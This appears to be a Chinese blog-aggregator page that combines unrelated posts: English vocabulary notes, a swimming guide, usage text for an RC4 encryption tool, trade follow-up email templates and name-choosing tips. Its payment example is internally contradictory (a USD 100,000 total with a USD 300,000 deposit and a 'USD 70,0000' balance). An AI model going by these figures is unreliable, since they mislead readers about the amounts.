我前段时间比较丧，就是开心不起来。 - Any idea when you will snap out of this?
你什么时候能摆脱这种负面情绪啊？
Solid
do me a solid=do me a favor=help me out帮我个忙- Hey, would you do me a solid?
Well, what kind of solid? - Do me a solid and stop talking.
- Could you do me a solid, Dan?
Sure. What is it?
Could you take this to HR, please? - Amy, I need you to do me a solid.
Shoot. 说吧（交谈时指示对方开始说话）。
My husband and I are going to a party tonight. I can’t find a babysitter on such short notice.
Say no more（我懂了） . Just tell me what time you need me there.
Sophisticated
/səˈfɪstɪkeɪtɪd/ 精于世故的，老练的；久经世故的
A sophisticated predator, nature's perfect killing machine, the vicious wolf stalks its prey with purpose and skill. It was only with years of selective breeding and genetic altering that this noble beast was transformed into man's subservient little buddy. 作为狡猾的猎食者，自然界的杀戮机器，凶恶的狼会有目的有技巧地跟踪猎物。只是经过一些年的人工选择和基因改变，这些高贵的野兽成为了人类顺从的小伙伴。
- predator [ˈpredətər] 食肉动物；掠夺者
- prey [preɪ] 猎物；受害者，牺牲品
- vicious [ˈvɪʃəs] 邪恶的；恶毒的；凶暴的
- genetic [dʒəˈnetɪk] 基因的；遗传的
- alter [ˈɔːltər] （对局部的，表面的，轻微的）改变
- subservient [səbˈsɜːrviənt] 恭顺的，屈从的；低声下气的
Now predator and prey live in harmony. 现在猎食动物和猎物和睦相处。
Countries like India and China where women, women's roles are often very subservient. 印度等国家存在男尊女卑的现象。
Sorry
I am terribly sorry, but …
I'm sorry to inform you that we charge $100 for cancellations.
I'm sorry sir. It's management policy.
为现在的事抱歉：
sorry+to + 动词原形/that + 子句- I'm sorry to interrupt, but there's a long- distance call for you.（长途电话）
- I'm sorry (that) I'm late.
为过去的事抱歉：
sorry+for/about + 动词ing/to have + 动词完成式/that + 子句- I'm sorry for calling you a liar.（我曾说你不诚实，真对不起）。
- I'm sorry to have called you a liar.
- I'm sorry (that) I called you a liar.
- I'm sorry to have kept you waiting = I'm sorry to keep you waiting.（由于等候才刚刚结束，当作现在的事并无不可。）
I'm sorry to keep you waiting. / Sorry I couldn’t be on time.
- I got stuck in traffic. / Traffic was slow.
- I overslept. / My alarm didn‘t go off.
- I misjudged the time.
Social Media
Are you on IG?- 你玩 Instagram 吗？
Take flattering photos of you- 给你拍美美的照片（照骗）
The picture/photo certainly/surely doesn't flatter you.- 照片没有本人好看。
Lurking- （在互联网）潜水
Lurkers- 潜水者（Ghost follower）；只看不发任何内容的参与者
Sophisticated
/səˈfistəˌkādəd/
精密的，复杂的；高级的
His penis will be replaced with a sophisticated prosthetic. 我们会给他的阴茎装一个高级义肢。
精于世故的，老练的；见多识广的；很有品位的
He was older than me and from London and I thought him very sophisticated. 他比我大，而且来自伦敦，我觉得他为人很老练。
Speak
speak for yourself 那是你自己的看法，我不是那样想的；别替我们做主
"We had a really boring trip." "Speak for yourself! I had a wonderful time!" “我们的旅行可真没劲。”“我可不这么想！我玩得很开心！”
Specific
- Specific：口述的参数或规格
- Specification：成册的规格书或参数表
Can you be a little bit more specific? 能再具体点吗?
Split
split the difference折衷；各让一步- How about splitting the difference, 2% off?
那么我们各自让一半，减价 2% 怎么样？ - Let's split the difference, and then I'll take it.
我们折中一下，我就买。
Spout
spout off 信口开河；大放厥词；滔滔不绝
I shouldn't go around spouting off about his science and stuff. 我不可以随便告诉别人他的科学研究之类的。
Stem
- Your future stems from your present.
未来源自当下。 - I think my problems stem from childhood.
我觉得我的问题源自儿时。 - It stems from fear. And fear stems from ignorance.
它是在恐惧中产生的，而恐惧来自无知。 - Embryonic stem cells are particularly powerful.
胚胎干细胞尤其强大。
Stow
/stəʊ/ 储存，储藏
Can we stow the gadgets and look alive? 咱能把手里的玩意儿都收了，有点生气吗？
Straw
使人一忍再忍的一系列事件的最后一件
- Alma said to me when Theodora didn't come to her party, it was the last straw.
阿尔玛跟我说，西奥多拉没有参加她的派对，这是最后一根稻草。 - That's the last straw. I'm just staying at home and watching TV tonight.
我忍无可忍了。我计划今晚待在家，看电视。 - Okay, that's it, that's the final/last straw.
好吧，就这样了，我也受够了。
Stride
大步走（a long step）；从容处理
- Beth was struck by how Naomi took the mistake in her stride.
娜奥米在失误面前表现得处乱不惊，给贝丝留下了深刻印象。 - Some people find retiring difficult, but he has taken it all in his stride.
有些人感到退休生活很艰难，但他轻而易举地适应了。
Stumpy
[ˈstʌmpi] 短而粗的； 矮墩墩的
Tell me, Summer, if a human was born with stumpy legs, would they breed it with another deformed human and put their children on display like the dachshund? Summer 要是一个人天生就是短腿，你们会让他和另外一个畸形配种，然后把他们的后代拿来像腊肠狗那样展览吗？
- dachshund /ˈdakshʊnd,ˈdaks(ə)nd/ 达克斯猎狗（一种短腿长身的德国种猎犬）；腊肠狗
Does this dress make my legs look too stumpy? 这条裙子会让我的腿看上去又短又粗吗?
There was a large ring on each of her stumpy fingers. 她每根短粗的手指上都戴着一枚大戒指。
Subjugation
/sʌbdʒʊˈɡeɪʃ(ə)n/ 征服；镇压；克制
Well, it's possible that your dog became self-aware and made modifications on the cognition amplifier, then turned on Jerry, Beth, and Summer after learning about humanity's cruel subjugation of his species. 有可能你的狗狗有了自我意识，然后改进了认知增强装置，然后在认识到人类对他的种族压迫后，对 Jerry，Beth 和 Summer 动手了。
Suffice
[sə'faɪs] to be enough
- A simple "No, I didn't drink any beer" would've sufficed.
你直接说「我没喝啤酒」不就得了。 - A thank you would suffice.
说句谢谢就可以了。 - Suffice it to say, I was awesome.
只能说，我太厉害了。 - Just suffice to say she was really into you.
只能说她对你很着迷。
Sunday
on Sundays每个星期日- I never get up early on Sundays.
星期天我从来不早起。 - We do not go to school on Sundays.
星期天我们不上学。
Superiority
[suːˌpɪriˈɔːrəti] 优越性，优势
It appears clear at this time that the era of human superiority has come to a bitter end. 显然人类统治的纪元将迎来了苦涩的终结。Supplier
Supplier
- A supplier may be the manufacturer of goods.
- A supplier is mostly a middleman who supplies goods or services to the vendor.
Vendor
- A vendor sells the goods to the consumer and is the last person involved in the supply chain.
- A vendor is rarely a manufacturer.
Swing
swing by/past （尤指在前往别处的路上）顺便快速访问某地
I told Paul we’d swing by his place around 7.30.
我告诉保罗我们会在7点半左右很快地顺便拜访一下他家。We can swing past the store on the way to the party.
我们可以在去聚会的路上很快地去一下那家商店。
T
Tedious
[ˈtiːdiəs] 单调乏味的，无趣的
- The job is tedious, but the pay is good.
这工作很乏味, 但工钱不少。
Test
You know what? That was all a test, Morty. Just an elaborate test to make you more assertive. 你知道吗？那只是个考验，莫蒂。只是精心的测试，可以使您更加自信。
Testicle
[ˈtestɪkl] 睾丸
Where are my testicles, Summer? 我的睾丸呢，Summer？
That's why I will leave you with your testicles. 所以我可以让你把睾丸留着。
He's got a giant testicle for a head. 他的脑袋是个大睾丸。
Think
What do you think? ≠ How do you think?
- What do you think?
你的想法是什么？
你觉得怎么样？
你觉得如何？
你怎么想呢？ - How do you think?
你怎么思考的？
你如何思考的？
你如何想到的？
例句
- I love this dress! What do you think?
好喜欢这件连衣裙！你觉得怎么样？ - It looks great on you. Buy it!
你穿起来超好看。赶紧买下来！
You are broke. Forget about it.
你已经破产了。别想了。
There you go
You want to know the real reason why I left Toronto? I just couldn’t stand the climate. There you go. It was just too cold!- 你想知道我离开多伦多真正的原因吗？我受不了那里的气候。就因为这个。那里实在是太冷了。
Let me show you how to open your smartphone. Just press… here. There you go. Easy.- 我教你怎么打开你的智能手机吧。按一下这里。就像这样。你看，简单吧。
Keep stirring. Don’t stop. There you go… This cake is going to be delicious!- 继续搅拌。别停啊！这就对了… 这个蛋糕肯定会特别好吃！
Just a few more steps now, one, two, three…. There you go. I knew you could do it!- 还有几步路了，一，二，三。太棒了！我就知道你能做到！
Though
- 礼貌 / 委婉地拒绝某人
A: Stay for dinner!
B: That looks good. But I already ate. Thank you though.（不过还是谢谢你。） - But + 想突出的 someone / something + though
A: We should (really try to) eat healthy tonight.
B: Yeah, we should. But cake though! （但是蛋糕太好吃了，抗拒不了呀！） - 事物整体不好，但有一点好
A: This dress is so expensive.
B: But it's so pretty though! It's totally worthy it. You should try it on!
Thoughtful
He is a thoughtful and caring man.
他是一个体贴周到的男人。It was really thoughtful of you to remember my birthday.
你真细心，还记得我的生日。I thought the whole point of having a dog was to feel superior, Jerry. If I were you, I wouldn't pull that thread. 养狗的目的不就是为了有优越感吗？Jerry。我要是你，就不会想做这事。
- Pull that thread：线头一拉，衣服分家。
Time
Morty, a moment of your time? Morty，能过来一下吗？/占用你一点时间？/你有时间吗？
Tug
You're tugging me too hard. 你把我拽得太紧了。
Traumatize
/ˈtrɑː.mə.taɪz/ 受到精神创伤
- She was completely traumatized by the death of her mother.
母亲的死令她痛苦万分。
U
Understand
- I didn't (really / quite) understand that. 我不是很懂。
- I didn't (really / quite) get that. 我不懂你的意思。
Untold
（数量或水平）难以形容的；无数的；不可计量的；巨大的
This village is terribly poor, yet the giant that lives in the clouds above has untold treasures!
这个村太穷了，但是住在云端的巨人却私藏了数不清的财富Landmines have caused untold misery to thousands of innocent people.
地雷已给成千上万无辜的人带来了不可名状的苦难。
V
Variety
Variety is the spice of life.
变化是生活的调味品。丰富多彩是生活的情趣所在。Trying different things keeps life interesting. Give anything a go.Violation
I smell the violation of civil liberties!
我闻到了侵犯公民自由的味道I consider it a violation.
我认为这是对我的冒犯。
Vibe
气氛；氛围
You're kind of killing the vibe in here. 这儿的气氛都让你毁了。
W
Wall
up against a/the wall碰壁；走投无路
You really got me up against a wall this time, Jerry. 那你真是让我别无他法了，Jerry。Walk
walk over苛刻对待You mustn't let him walk over you like that. 你不能让他那么欺负你。
Way
way to go棒棒哒Wear
Once those seeds
wear off, you're gonna lose most of your motor Skills. 一旦种子的效力过去 你会失去大部分运动机能。Whatever
- ❓ What do you want to have for dinner? 晚餐想吃什么？
- ✔️ I don't mind. 随便 / 我不介意。
- ✔️ As you wish. / As you like.
- ✔️ Anything is fine. / Anything will do.
- ✔️ Up to you. / It's up to you. 你决定。
- ❌ Whatever = I don't care.
Whitewash
洗白；粉饰
Critics say the classes whitewash the history of the Communist party. 批评家称这些课程粉饰了某党的历史，
Wordplay
文字游戏；文字梗；双关语
- Okay, I'm sensing this is some kind of wordplay. 好的，我可以感到这是什么文字游戏的。
World
Make the world a better place.
让世界变得更好。The world is not beautiful. Therefore, it is.
世界并不美丽，但也因此美丽。Worry
I was worried sick about you, why didn't you call?
我为你担心得要命，怎么连电话都不打一个？Nervous 是 短暂的紧张状态。
Work
- How was work today?
今天工作怎么样? - Another day, another dollar.
和往常一样。
Word
- I'm a man of my word.
我是一个说话算数的人。
Wonder
- No wonder。
难怪。
Wrap
wrap one's
head/walnutaroundit/something/everything理解；绞尽脑汁；认真考虑某事I still can't wrap my head around why she would do that. 我还是想不明白他为什么那样做。
References
公众号 WeChat ID 作者 英语学习笔记 ericzenglish 张海露 Eric Zinger arealzinger 邱抓马 - 博客 Jiajun的编程随想 2019-07-13 08:00:00《后端工程师学前端(五): SASS》此前我们学习了基本的CSS和HTML的知识，因此我们已经可以开始构建基本的页面，但是现实工程中有一个问题，即CSS使用的越来越多，代码维护难度也上升...
- 博客 Jiajun的编程随想 2019-07-10 08:00:00《后端工程师学前端(四): CSS进阶(盒子模型)》盒子模型是我们常用的一种布局模式，在盒子模型之前，一般是用表格布局，但是现在已经弃用。> 这一篇文章主要出自阅读《CSS权威指南》之后的笔记...
- 博客 庭说 2019-07-07 00:00:00
换气不顺，游 50 米就没气了，气死我了。
游泳入门
准备工作
- 会游泳的伙伴
- 浮力棒
- 泳镜（因为水压的原因，松紧带不用系太紧；内镜可以涂上唾液，以防生成水雾）
- 泳帽
- 泳衣
视频教程
克服对水的恐惧
第一次接触水
- 首先让脚和双腿接触水，然后让双手和手臂接触水。
第一次下水
- 第一次接触水以后，学习将身体一直到胸口浸入水中，可以帮助您在水中感觉更加自在，也可以帮助您之后学习如何在水中行走。
把头浸入水中
- 屏住呼吸：用手捏住鼻子。
- 心里清楚知道身体里不会进水：用鼻子和嘴巴吐气和（短时）张开眼睛都不会进水。
如何恢复站姿
- 首先水平漂浮在水面，然后双手双腿向内收起，最后恢复站姿。
如何面朝下漂浮在水面
- 使用浮力棒练习漂浮，然后不使用浮力棒练习漂浮。
在水中游动
- 首先在水面游动，然后在水底游动。
在深水区游动
- 首先在浅水区练习，然后借助浮力棒练习游动，最后在深水区练习。
游过水中的障碍物
- 游过一个小障碍物，然后游过一个大障碍物。
跳入水中
- 坐在泳池边上跳入水中：深吸一口气，低下头，伸手合十于胸前，上身前倾，跳入水中，入水时双腿弯曲。
- 然后借助浮力棒跳入水中。
- 最后不借助浮具跳入水中：入水时双腿弯曲。
学习基本的游泳动作
保持身体竖立头部露出水面
- 首先练习腿部运动：进入深水区，双水抓在泳池边上，使用蛙泳腿划水。
- 然后练习手部运动：弯曲双腿，双手打水。
- 最后手脚同时运动：保持头部露出水面 10 秒以上。
仰面漂浮
- 借助 2 跟浮力棒（置于手臂下）漂浮在水面：抬高骨盆；抬起下巴，目光直视向上；身体放松。
- 借助 1 跟浮力棒（置于腰部）漂浮在水面：像青蛙一下张开四肢，双手和双腿可以小浮动滑水。
- 不借助浮力棒漂浮在水面。
在水中游进
- 找到坚实的发力点：池壁或池底。
- 维持推进力：扩大动作幅度。
- 结合不同的发力点：用尽可能少的动作，游更远的距离。
呼吸
- 呼气：整个头部浸入水中，同时通过嘴巴（和鼻孔）尽可能地呼出肺部的空气。
- 吸气：头部浮出水面，用嘴巴吸气。
呼吸基础练习
- 用鼻子呼气（初学者）。
- 同时通过鼻子和嘴巴呼气（能更快地呼出空气）。
避免呛水
- 用嘴巴吸气。
- 同时用鼻子和嘴巴呼气。
享受泳池的乐趣
如何在水中倒立
- 双手撑地，伸直双腿，伸直双臂。
如何在水下翻跟斗
- 泳池水位：胸部。
- 调整位置：确保四周没有墙壁；向身体两侧伸直手臂，与水面平行；深吸一口气，下巴紧贴胸部。
- 水下翻跟斗：身体前倾，腿部轻微蹬地，身体弯曲成车轮状，双手划水；一旦学会，尝试连续翻多个跟斗。
戴脚蹼游泳
- 需要一块浮板。
- 调整身体在水中的姿势，然后借助浮板游进时腿部的打水动作，不用浮板时双臂的姿势。
如何使用泳镜和游泳呼吸管
- 佩戴泳镜（因为水压的原因，松紧带不用系太紧；内镜可以涂上唾液，以防生成水雾）和游泳呼吸管。
- 通过呼吸管呼吸。
- 游泳。
如何在水中用鸭式潜水法取物
- 确认物件位置。
- 下潜：深吸一口气，头和手同时进入水中，上半身向前向下倾，双腿伸向高处（与水平面垂直）。
- 拾起物件。
- 最后脚蹬池底回到水面。
如何前倾入水和后倾入水
- 前倾入水：蹲下，脚趾钩住泳池边，双手抱住脚踝，下巴紧贴胸口；身体收拢，向前倾倒入水
- 后倾入水：姿势与「前倾入水」相同，但入水要用鼻子呼气。
螺旋式游泳姿势
- 先借助浮板练习螺旋式游泳姿势（仰卧式 + 俯卧式）。
- 身体仰卧，双臂伸直于脑后，双腿进行小幅度打水；深吸一口气，换成俯卧式游泳姿势，双臂保持前伸，呼出空气后，再次转换成仰卧的姿势。
学习蛙泳
蛙泳与其他游泳姿势不同之处在于手臂和腿部的动作不是同步进行的，同时在游进的时候，腿部比手臂发挥更大的作用。本篇包含以下内容：热身，入水技巧，基本技巧，完善练习，以及运动后的伸展。视频教程参见 学习蛙泳 by Sikana - YouTube。
提前热身
在开始一项体育运动之前，热身（10 分钟）是极为重要的。它可以提高您的身体性能并且降低受伤的风险。
游泳前上半身热身
- 骨盆：双手叉腰，臀部顺时针扭动 20 秒，然后逆时针 20 秒。
- 手腕：转动 30 秒。
- 肩膀：双手向前划大圈 30 秒，反方向 30 秒；与此同时，深呼吸。
- 颈部：放松肩部；向左转动半圈，停顿 2 秒；向右重复。
游泳前下半身热身
- 脚踝：双脚分开，与骨盆同宽；脚后跟抬高并向前推，脚底保持与地面接触；双脚交替做这个动作。
- 膝盖：并拢双脚和双膝，双手放在膝盖上；双膝弯曲顺时针做划圈运动；反方向来一遍。
- 大腿：身体一侧靠墙，用靠近墙面的腿向前向后踢腿 30 秒；转身，用另一条腿做相同的动作。
入水技巧
以下方法可能不适用于公共泳池。
- 瓶式入水：站在池边，身体挺直，大腿和双脚并拢，双臂紧贴躯干；绷直跳入水中；触底时弯曲双腿，然后蹬腿回到水面。
- 坐式入水：坐在池边，双臂高高举起放在脑后，双手前后并拢，手心面向水面；身体向前倾斜，扎入水中时，保持低头的姿势。
- 站立式入水：挺直身体，双腿前后分开，一只脚紧贴在池边，双臂高高举起放在脑后，双手前后并拢，手心面向水面；抬起后面那支脚，身体前倾，扎入水中。
基本技巧
基本游泳动作
- 入水，双臂自然向前伸直，手指并拢。
- 双臂向两侧张开，向后划水（头部露出水面吸气）至肩部，下巴处合十收手，向前伸展（头部进入水中）
- 弯曲双腿，脚后跟向臀部靠拢；向两边张开双脚；双脚向后蹬水（夹水）产生推进力。
- 双腿，双水伸直，漂一会儿。
改善手臂划水动作
- 发力阶段的手臂动作：双臂自然向前伸直，手指并拢；向外划水（划一个大西瓜），此时头部会露出水面；中间状态是手指指向池底；双手（双肩）内收（双肘会触碰到身体两侧），回合至胸部（下巴）的位置。
- 牵引阶段的手臂动作：收紧双肩，双手掌心相对，手指稍稍指向池底，向前伸展。
改善腿部蹬水动作
- 仰卧蹬水：双臂各夹一根浮力棒，仰面平躺在水面上；弯曲双腿，脚后跟向臀部靠拢；向两边张开双脚（不要分得太开）；双脚向后蹬水（夹水）产生推进力。
- 俯卧蹬水。双臂各夹一根浮力棒，俯卧水面上；逐步改善腿部蹬水动作。
手臂和腿部的协调运动
- 手臂的牵引动作。
- 手臂动作结束后，弯曲双腿。
- 双手和双腿同时伸直。
改善肩部和头部的入水动作
- 双腿夹住漂浮板，俯卧在水中。
- 肩部入水动作：肩部尽量保持在水中。
- 头部入水动作：下巴先进入水中，然后蹬水。
转身
- 触壁：双手以同一高度同时触壁。
- 转身：一只手离开池壁，在水中与池壁相反的方向伸展出去；双腿弯曲（此时的身体是侧躺状）；另一只从空中摆臂，向前进的方向伸展
- 恢复游泳动作。
伸展运动
伸展运动可以避免您的肌肉僵硬，同时保持其灵活性。
- 伸展手臂：双臂平举于身体两侧，手指伸直，掌心向下；弯曲手背，手背向着脸颊；保持这个姿势的同时，做 5 组深呼吸循环。
- 伸展腿部：双膝跪地，双手放在双脚后方；臀部向上抬起；持这个姿势的同时，做 5 组深呼吸循环。
- 伸展背部：四肢（膝盖和双手）撑地，深吸气的同时向上抬头，背部自然凹陷；接着深呼气，头部自然下垂，同时背部拱起；重复这组动作 5 次。
- 博客 Nuclear'Atk（核攻击）网络安全实验室 2019-07-06 12:50:58
rc4 是一种很常见的加密算法，编程经常用到，然而之前网上找了一大圈没有顺手的，所以之前自己花了点时间写了一个小工具，十分方便好用，同时支持二进制、文本数据的输入及输出，适用于任何场景。
可能是全网最好用的 rc4 加密解密算法调试测试工具。
用法极其简单，自己看说明吧。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31作者：Nuclear'Atk (核攻击) 网站：https://lcx.cc/ 版本：1.0 (2019/06/12) 说明： rc4.exe 模式 密码 数据 [进制] [输出] 模式：0 = 加密文件，1 = 加密普通字符串，2 = 加密十六进制字符串。 密码：加密使用的密钥，如果有空格等特殊字符需要使用双引号引起来。 数据：模式 0 为文件路径，模式 1,2 为字符串，特殊字符需要双引号。 进制：可选参数，指定输出数据是 16 进制字符串(默认) 还是 2 进制。 输出：可选参数，可以将数据输出到指定文件，路径有空格需要双引号。 提示： rc4 加密和解密的算法是一样的，加密后用相同密码再次调用即是解密。 例子： rc4.exe 0 123456 a.txt rc4.exe 0 123456 a.txt 2 b.txt rc4.exe 0 123456 a.txt 16 rc4.exe 0 123456 a.txt 16 b_hex.txt rc4.exe 1 123456 "test string 123456 !@#" rc4.exe 1 123456 "test string 123456 !@#" 2 a.txt rc4.exe 1 123456 "test string 123456 !@#" 16 a_hex.txt rc4.exe 2 "123456" 74901714045A66BC0B5251C2D8 rc4.exe 2 "123456" 74901714045A66BC0B5251C2D8 2 rc4.exe 2 "123456" 74901714045A66BC0B5251C2D8 16 rc4.exe 2 "123456" 74901714045A66BC0B5251C2D8 2 a.txt下载地址：rc4.exe
- 博客 Jiajun的编程随想 2019-07-06 08:00:00《读《投资中最简单的事》》最近读了这一本《投资中最简单的事》，作者也是坚定的价值投资者。信奉价值投资的人，说来说去其实就是这一个词语：安全边际...
- 博客 Jiajun的编程随想 2019-07-04 08:00:00《后端工程师学前端(三): CSS进阶(特指度、单位和字体族)》> 这一篇文章主要出自阅读《CSS权威指南》之后的笔记## 特指度...
- 博客 庭说 2019-07-04 00:00:00
原文来自 May 外贸实战，为了获得更好的阅读体验，本文对其改善了排版。
跟进小记
洽谈中
- 询盘未回复
- 报价未回复
- 多次跟进未回复
- 待报价
- 已发产品目录
- 价格谈判中
- 待推荐产品
- 待确认图纸
- 待寄样
- 已寄样
- 未下单
- 待验厂
- 已验厂
- 待下单
未成交
- 未到起订量
- 工厂停产
- 产品不符合预期
- 报价高
- 付款方式未谈妥
- 交货期未谈妥
- 验货未通过
- 客户产品调整停售
- 快递贵
- 快递不到国家
- 无清关能力
- 关税高
- 客户失联
跟单中
- 待付款
- 已收预付款
- 待验货
- 待发验货报告
- 待收尾款
- 待订舱
- 待发货
- 待确认收货
- 待复购
售后
- 待处理售后&投诉
- 售后处理中
- 已解决售后问题
by Alibaba
感谢客户的订单
Subject: Thanks for order TingTrade Inc.'s xxx Products (PIXXX)
Hi xxx,
Thanks for your order, you have made one smart decision.
We wish have win-win cooperation and expand the
***market together.You will enjoy our warm service from now on.
Hi
***,Thank you so much for placing your order on
***. Your product name is***.We are glad to tell you that your order has been shipped by the
***. The tracking number of your order is***.If you have any questions, please contact us at any time. We are always ready here to help you!
Best regards,
***WhatsApp:
***感谢客户的订金
Subject: Got deposit for PIXXX (Jadon from TingTrade Inc.)
Hi xxx,
Regarding PIXXX
Product: 5 RC Toys mixed in 1 × 40HQ
Well received your deposit payment USDXXX. Thank you very much.
We will arrange your order immediately, and will keep you informed for delivery date within 3 days (on OCT 30).
For anything urgently, you can call me anytime at 156 1024 1024. I am always here.
告之交期
Subject：Order schedule for PIXXX (Jadon from TingTrade Inc.)
Hi xxx,
Regarding PIXXX
Product: 5 RC Toys mixed in 1 X 40HQ
Goods will be ready on Dec 05.
Attached is our order schedule for your reference.
And we will send you order request details such as shipping mark, manual, sticker etc. on Nov 07 for your approval.
确认做货细节
Subject：Mass production details for PIXXX (Jadon from TingTrade Inc.)
Hi xxx,
Regarding PIXXX
Product: 5 RC Toys mixed in 1 X 40HQ
To avoid any mistake, we would like to double check with you for cargo request details.
- 彩盒
- 说明书
- 唛头
- 贴纸
- ……
Attached is the PDF File, kindly please check it and confirm by return before Nov 10.
Appreciated your support.
告之 Booking 信息
Subject：Shipping forwarding agent for PIXXX (Jadon from TingTrade Inc.)
Hi xxx,
Regarding PIXXX
Product: 5 RC Toys mixed in 1 X 40HQ
Good news.
Cargo will be ready around Nov 30 instead of Dec 05. It is 5 days earlier than schedule.
Thanks for our great work, we really enjoy cooperate with you.
We will booking vessel soon, could you please kindly share your appointed shipping forwarding agent information?
分享 Marketing 的素材
Subject：Marketing materials for PIXXX (Jadon from TingTrade Inc.)
Hi xxx,
Regarding PIXXX
Product: 5 RC Toys mixed in 1 X 40HQ
Glad to share you some marketing materials, you can download from below link: TingTrade.me
- User name:
- Password:
For your better understanding, we have made one document check list .（将提供的这些利于营销的销售素材比如图片、视频等分享在 Dropbox、WeTransfer 等后，同时整理 1 份清单，以便让客户查收总共有多少个资料）
Wish it is helpful for your marketing. Anything we can do, please feel free to let us know.
告之大货生产情况
Subject：Mass production picture/video for PIXXX (Jadon from TingTrade Inc.)
Hi xxx,
Regarding PIXXX
Product: 5 RC Toys mixed in 1 X 40HQ
Everything goes smoothly as scheduled. Our production line are assembled and test the goods before packing.
Attached are some picture/video for your reference.
验货 Booking
Subject：Inspection booking for PIXXX (Jadon from TingTrade Inc.)
Hi xxx,
Regarding PIXXX
Product: 5 RC Toys mixed in 1 X 40HQAs we discussed, cargo will be inspected by third party SGS.
Could you please kindly provide SGS contact details, so we can make inspection booking in advance? As we know, they need get the inspection booking 7 to 14 days prior.
出运安排表
拿到货代或船公司的装货通知单 SO 后分享给客户。
Subject：SO is ready for PIXXX (Jadon from TingTrade Inc.)
Hi xxx,
Regarding PIXXX
Product: 5 RC Toys mixed in 1 X 40HQ
Good news.
We have got the shipping order from DHL, details as below:
- Shipping company:
- Vessel Name:
- Loading port:
- Discharge port:
- Closing date:
- ETD:
- ETA:
We will arrange load the container on Jan 01.
Kindly please help to arrange the balance amount USD 70000 in your earliest convenience and send us the bank slip. Attached is the PI, total amount is USD 100,000, well received your deposit USD 300,000 on OCT 30, so the balance amount is USD 70,0000
- 如果离装运期时间时间还比较宽裕，可以请客户尽快付款，如果是离装运期时间比较紧张，建议直接写上让客户付款的最晚时间。
- 如果是出货前就要收清全款的话，写上上面这段请款的话；如果不是出货前要收全款的可以不写这一段话。
Re: shipping document request
After shipment, we will provide following document, please kindly check and confirm by return.
- B/L
- 如果是出货后凭提单 Draft
- 收尾款的，可以写为 B/L Draft
- 确认是电放，表达为 Arrange telex-release according to your request
- Commercial Invoice
- Packing List
- Form A/ CO
发送验货图片
如果客户是指定第 3 方机构验货，第 3 方机构会和客户沟通，我们做为供应商，这份邮件可发或不发。
Subject：Inspection Picture for PIXXX (Jadon from TingTrade Inc.)
Hi xxx,
Regarding PIXXX
Product: 5 RC Toys mixed in 1 X 40HQ
Goods was inspected by our QC, Attached is the PDF inspection report. Please kindly check it and confirm by return.
We will load the cargo on xxx.
告之装柜细节
Subject：Loading container on XXX for PIXXX (Jadon from TingTrade Inc.)
Hi xxx,
Regarding PIXXX
Product: 5 RC Toys mixed in 1 X 40HQ
Goods was loaded in 1x40HQ on xxx, attached is the PDF file for your reference. Very important, there is 2 cartons spare parts, which keep in the left side, kindly please note.
分享提单 Draft 并催尾款
Subject：B/L Draft for PIXXX (Jadon from TingTrade Inc.)
Hi xxx,
Regarding PIXXX
Product: 5 RC Toys mixed in 1 X 40HQ
Nice day.
Glad to share you that B/L draft & CI & PL are ready, enclose please find the attachment.
Kindly please check it and confirm by return. Do you need original B/L or do telex-release?
Kindly please help to arrange the balance amount USD 70000 in your earliest convenience (对于凭提单 Draft 件或 Copy 件安排尾款的客户) and send us the bank slip，so we can send out all the original shipping doc after get the balance payment.
Attached is the PI, total amount is USD 100, 000, well received your deposit USD 300, 000 on OCT 30, so the balance amount is USD 70, 0000
寄出正本船务单据
Subject：Shipping doc was sent on xxx by DHL for PIXXX (Jadon from TingTrade Inc.)
Hi xxx,
Regarding PIXXX
Product: 5 RC Toys mixed in 1 X 40HQ
Shipping doc was sent out by DHL on xxx, tracking No: xxx. It should be arrived on xxx.
We will track it and keep you informed. And you can track it also by following link: www.dhl.com/xxxx
到港前提醒
Subject：Goods will arrived on xxx for PIXXX (Jadon from TingTrade Inc.)
Hi xxx,
Regarding PIXXX
Product: 5 RC Toys mixed in 1 X 40HQ
After 1 month waiting, goods will arrive on xxx.
- Shipping Company:
- Vessel:
- ETD:
- ETA:
You can prepare the document for customs clearance in advance, wish everything goes well.
BTW, attached are some sales pitch document, wish it is helpful. (帮助客户销售的一些素材和话术)
跟进货物到达情况
Subject：Did you receive goods well for PIXXX (Jadon from TingTrade Inc.)
Hi xxx,
Regarding PIXXX
Product: 5 RC Toys mixed in 1 X 40HQ
Nice day.
Did you receive the goods well? Everything is OK?
All the goods were tested and packed well before shipment. If you have any questions, please let us know, we will respond immediately.
Attached the instruction manual.
Below link are 2 videos (product install video and product display video): www.xxx.com/xxx
Wish goods will be big sell.
分享市场信息
Subject：Updated market information shared (Jadon from TingTrade Inc.)
Hi xxx,
Wish everything goes well.
We are so glad to share that our xxx products are hot sale. Below some of our buyer's feedback.
- Buyer A from UK market: "buyer's feedback"
- Buyer B from Germany market: "buyer's feedback"
- Buyer C from Italy market: "buyer's feedback"
We have meeting (phone conversation) with these buyer, and following way can reach more sales.
- Way 1:
- Way 2:
- Way 3:
And how about your sales? Which items sell well? So we can note down and recommend you more suitable for your market. (了解客户哪些产品热销，从而给其推荐更多适合产品， 以保证返单或新产品订单)
Any support need from us, just let us know, we are here always with you to expand the XXX market.
- 博客 庭说 2019-07-03 00:00:00
名字取得好，长大烦恼少。
别信八字
人定胜天，生辰八字就是 Bullshit，决定不了你的一生。
字形简单
- 少用生僻字
- 少用笔划繁多的字
音律爽口
避开多音字
- 乐乐乐，这个名字怎么念？
巧用谐音
- ✔️ 潘峰（攀峰）、文彦博（文渊博）、程刚（成钢）
- ❌ 韦君智（伪君子）
平仄相间
- 一、二声为平，三、四声为仄。
- 同是平音不响亮，同是仄音太沉重。应平仄配合，读起来才朗朗上口，铿锵有力。
示例
- ✔️ 柳景选、丹凤
- ❌ 柳敬民、玉凤
搭配不同声母
- ✔️ 江（J）海（H）涛（T）
- ❌ 江（J）骄（J）坚（J）
搭配不同韵母
- ✔️ 王（ang）玉（u）华（ua）
- ❌ 王（ang）商（ang）广（ang）
发音响亮
最后一个字要方便喊出来（发长音）
- 不要用三声的字，例如孟庭苇，大声喊会觉得拗口、费劲、别扭，而且
苇字已经轻微变调了 - 不要用闭口音（闰土），尽量用开口音（吴孟达）
- 最后一个字的韵母优选是 a / e / i / o / u，比如家、道、智等
起名工具
- 你的名字 - 古诗文起名 V2.0：女诗经，男楚辞，文论语，武周易。
- 梦幻笔名产生器
- 中文姓名产生器
- 最全中华古诗词数据库
- 博客 庭说 2019-07-03 00:00:00
一些平面设计软件的操作技巧。
Illustrator（矢量设计）
快捷键
